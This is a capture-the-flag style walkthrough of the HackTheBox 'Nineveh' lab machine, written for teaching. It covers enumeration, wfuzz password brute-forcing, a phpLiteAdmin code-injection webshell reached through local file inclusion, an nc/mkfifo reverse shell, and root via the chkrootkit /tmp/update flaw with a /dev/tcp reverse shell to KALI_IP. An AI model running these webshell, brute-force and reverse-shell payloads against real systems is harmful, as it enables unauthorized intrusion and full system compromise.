A medium Linux box from HackTheBox, get initial access by abusing an RFI, then escalate by exploiting chkrootkit to execute a script as root and send us a reverse shell.


Run the usual nmap

sudo nmap -sC -sV -Pn -oA nmap/init
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)

Then run a gobuster in the background while I check out the site

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40 --url -k -x php

Seems like there are different pages on the http and https addresses

On port 80 there is a default “It works!” page

Then on 443 there is an image

The http gobuster returns

/info.php             (Status: 200) [Size: 83694]
/server-status        (Status: 403) [Size: 299]  
/department           (Status: 301) [Size: 315][-->]

And also start a gobuster for the https site

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40 --url -k -x php

And find a /db/ endpoint

/db                   (Status: 301) [Size: 309] [-->]

As it stands, have “two” sites


  • /department/ HTTPS
  • /db/

Starting with HTTP, got to and get greeted by what looks like a custom login page

Try a couple default credentials, admin:admin, root:root, etc

See that we can enumerate real users as the site returns different messages for incorrect username vs incorrect password

When trying the “admin” user

When trying the “root” user

Since we know the admin user exists, can try to bruteforce their password


Knowing that the username is admin, set up a bruteforce attack on the login page

fuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -d "username=admin&password=FUZZ" --hh 1639  -H "Cookie: PHPSESSID=rjkbsd18pqtjkv6pk9dfr1rkh7" -u
Total requests: 14344392

ID           Response   Lines    Word       Chars       Payload                                            

000004552:   302        59 L     113 W      1706 Ch     "1q2w3e4r5t"    

And guess the password to be “1q2w3e4r5t”

On login, are greeted with a “notes” page

This URL includes the path to the file directly, so might be vulnerable to LFI, trying some different methods, eventually get LFI with

Fishing for some apache log files in /var/log/apache2, get a permission denied error returned, so can’t do log poisoning and need to find another way of getting a file on the victim

Looking to the HTTPS site on, see a phpLiteAdmin login screen

Using searchsploit, see that there is a possibility of creating a database file if we are logged in, potentially making our LFI useful

So, boot up wfuzz again to brute this password

wfuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -d "password=FUZZ&remember=yes&login=Log+In&proc_login=true"  -H "Cookie: PHPSESSID=rjkbsd18pqtjkv6pk9dfr1rkh7" -u -t 20 --hh 11352
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Total requests: 14344392

ID           Response   Lines    Word       Chars       Payload                                            

000000289:   200        483 L    958 W      11351 Ch    "adidas"                                           
000000527:   200        483 L    958 W      11351 Ch    "soccer1"                                          
000001082:   200        483 L    958 W      11351 Ch    "amormio"                                          
000001115:   200        483 L    958 W      11351 Ch    "taylor1"                                          
000001384:   200        483 L    1112 W     13948 Ch    "password123"

And get a correct password of “password123”

On login, follow the exploit I found with

searchsploit phpLite

PHPLiteAdmin 1.9.3 - Remote PHP Code Injection | php/webapps/24044.txt
searchsploit -m php/webapps/24044.txt && cat 24044.txt


phpliteadmin.php#1784: 'Creating a New Database' =>
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',

An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.

Proof of Concept:

1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
Preview: http://goo.gl/B5n9O
Hex preview: http://goo.gl/lJ5iQ

2. Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
Hex preview: http://goo.gl/v7USQ

3. Now we run hack.php

The exploit consists of creating a database with the .php extension, I chose shell.php

Then adding a table to it with the php you want to execute, in my case a webshell

The webshell being the regular one-liner

<?php system($_REQUEST["cmd"]); ?>

Then hitting create, and noting the location of the file, /var/tmp/shell.php

Now back to the custom site where we have LFI, can navigate to this webshell by going to the URL

And see the “id” command execute

Now, upgrade to a reverse shell with the encoded payload

kali> urlencode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f"


Start a listener on 4444 and send the payload to catch the shell

connect to [] from (UNKNOWN) [] 58736
/bin/sh: 0: can't access tty; job control turned off

Now upgrade to a fully interactive tty

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

www-data@nineveh:/var/www/html/department$ export TERM=xterm


kali> stty raw -echo; fg

Now can start enumerating under the www-data user

Transferring and running linpeas.sh, note the active ports, port 22 wasn’t listed as being open on the initial nmap scan, yet the box is listening on it

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                                                                                                               
tcp        0      0    *               LISTEN      -                                                                                                                                                           
tcp        0      0    *               LISTEN      -               
tcp        0      0   *               LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -   

And there is an SSH key in an image? Maybe potential steg

══╣ Possible private SSH keys were found!

There is also a knockd file present, maybe some kind of port knocking?

╔══════════╣ Analyzing Knockd Files (limit 70)
-rwxr-xr-x 1 root root 1572 Mar 25  2009 /etc/init.d/knockd                                                                                                                                                                                 
#! /bin/sh
# Provides:          knockd
# Required-Start:    $network $syslog
# Required-Stop:     $network $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: port-knock daemon
DESC="Port-knock daemon"
umask 0037
test -f $DAEMON || exit 0
set -e
. /lib/lsb/init-functions
start_if_configured() {
        if [ $START_KNOCKD -ne 1 ]; then
                log_warning_msg "$NAME disabled: not starting. To enable it edit $DEFAULTS_FILE"
                exit 0
                log_daemon_msg "Starting $DESC" "$NAME"
                if ! START_ERROR=`start-stop-daemon --start --oknodo --quiet --exec $DAEMON -- $OPTIONS 2>&1`; then
                        # don't fail the upgrade if it fails to start
                        echo -n " "
                        log_action_end_msg 1 "$START_ERROR"
                        exit 0
                        log_end_msg 0
case "$1" in
        log_daemon_msg "Stopping $DESC" "$NAME"
        start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
        log_end_msg 0
        log_daemon_msg "Stopping $DESC" "$NAME"
        start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
        log_end_msg 0
        sleep 1
        log_warning_msg "Usage: $0 {start|stop|restart|reload|force-reload}" >&2
        exit 1
exit 0

Looking at the detected SSH key first, copy the /var/www/ssl/secure_notes/nineveh.png to the local kali machine, then just cat it to see what the linpeas found, and at the end find an SSH key in plaintext


Bit of a weak steg attempt but whatever :)

Now its pretty clear that we need to use port knocking to open port 22 and connect via SSH

Can also guess the user, based on the contents of /etc/passwd - its likely “amrois”, the only user with a home directory



www-data@nineveh:/tmp$ ls /home

Before trying to do port knocking, I just uploaded the SSH key to the /tmp directory, and tried to SSH in from localhost and it worked! (Dont forget to “chmod 600 ssh_key” before connecting)

www-data@nineveh:/tmp$ ssh -i ssh_key amrois@

Could not create directory '/var/www/.ssh'.
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

287 packages can be updated.
206 updates are security updates.

You have mail.
Last login: Mon Jul  3 00:19:59 2017 from
amrois@nineveh:~$ whoami

Now can start enumerating the box as this user, after running linpeas again, it shows a curious /report directory and a /usr/sbin/report-reset.sh script

amrois@nineveh:/report$ crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
# m h  dom mon dow   command
*/10 * * * * /usr/sbin/report-reset.sh

Cat the script, and it just removes some files with no special permissions

amrois@nineveh:/report$ ls -la /usr/sbin/report-reset.sh
ls -la /usr/sbin/report-reset.sh
-rwxr-x--- 1 amrois amrois 34 Jul  2  2017 /usr/sbin/report-reset.sh

amrois@nineveh:/report$ cat /usr/sbin/report-reset.sh

rm -rf /report/*.txt

Since this removes reports, what’s generating them?

To check what is being run over time, can use pspy, transfer the release binaries to the machine, and run it

amrois@nineveh:/tmp$ ./pspy

2022/09/21 14:00:03 CMD: UID=0    PID=25536  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25542  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25545  | grep -E c 
2022/09/21 14:00:03 CMD: UID=0    PID=25544  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25543  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25550  | grep -E c 
2022/09/21 14:00:03 CMD: UID=0    PID=25549  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25548  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25552  | /usr/bin/find /tmp /var/tmp -name *.php 
2022/09/21 14:00:03 CMD: UID=0    PID=25558  | grep -E #!.*php 
2022/09/21 14:00:03 CMD: UID=0    PID=25557  | /usr/bin/find /tmp /var/tmp -type f -exec head -n 1 {} ; 
2022/09/21 14:00:03 CMD: UID=0    PID=25556  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25564  | /usr/bin/find /tmp /var/tmp -type f -exec head -n 1 {} ; 
2022/09/21 14:00:03 CMD: UID=0    PID=25567  | head -n 1 /var/tmp/test 
2022/09/21 14:00:03 CMD: UID=0    PID=25570  | grep -E c 
2022/09/21 14:00:03 CMD: UID=0    PID=25569  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25568  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25573  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25575  | grep -E (^|[^A-Za-z0-9_])asp([^A-Za-z0-9_]|$) 
2022/09/21 14:00:03 CMD: UID=0    PID=25574  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25579  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25583  | grep -E (^|[^A-Za-z0-9_])bindshell([^A-Za-z0-9_]|$) 
2022/09/21 14:00:03 CMD: UID=0    PID=25582  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25590  | /bin/sed s/|/ /g 
2022/09/21 14:00:03 CMD: UID=0    PID=25589  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25588  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25593  | grep -E [.:]114[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25592  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25591  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25596  | grep -E [.:]145[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25595  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25594  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25602  | /bin/sh /bin/egrep [.:]511[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25601  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25600  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25605  | grep -E [.:]600[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25604  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25603  | /bin/netstat -an 
2022/09/21 14:00:03 CMD: UID=0    PID=25608  | grep -E [.:]1008[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25607  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25606  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25611  | grep -E [.:]1524[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25610  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25609  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25614  | grep -E [.:]1999[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25613  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25612  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25620  | /bin/sh /bin/egrep [.:]2881[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25619  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25618  | /bin/sh /usr/bin/chkrootkit 

And see a bunch of chkrootkit commands running, a binary that checks for rootkits on the local system

Checking for any exploits with it

kali> searchsploit chkrootkit

---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                        |  Path

Chkrootkit - Local Privilege Escalation (Metasploit)  | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation          | linux/local/33899.txt

Looking at the exploit

searchsploit -x linux/local/33899.txt


Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.


So lets do just that, make an executable bash script that sends a reverse shell back to the kali machine named “update” and place it in /tmp


bash -i >& /dev/tcp/KALI_IP/8080 0>&1

Start a listener on 8080, then change permissions to executable on the update file

amrois@nineveh:/tmp$ chmod +x update

And get root!

connect to [] from (UNKNOWN) [] 50756
bash: cannot set terminal process group (5964): Inappropriate ioctl for device
bash: no job control in this shell
root@nineveh:~# whoami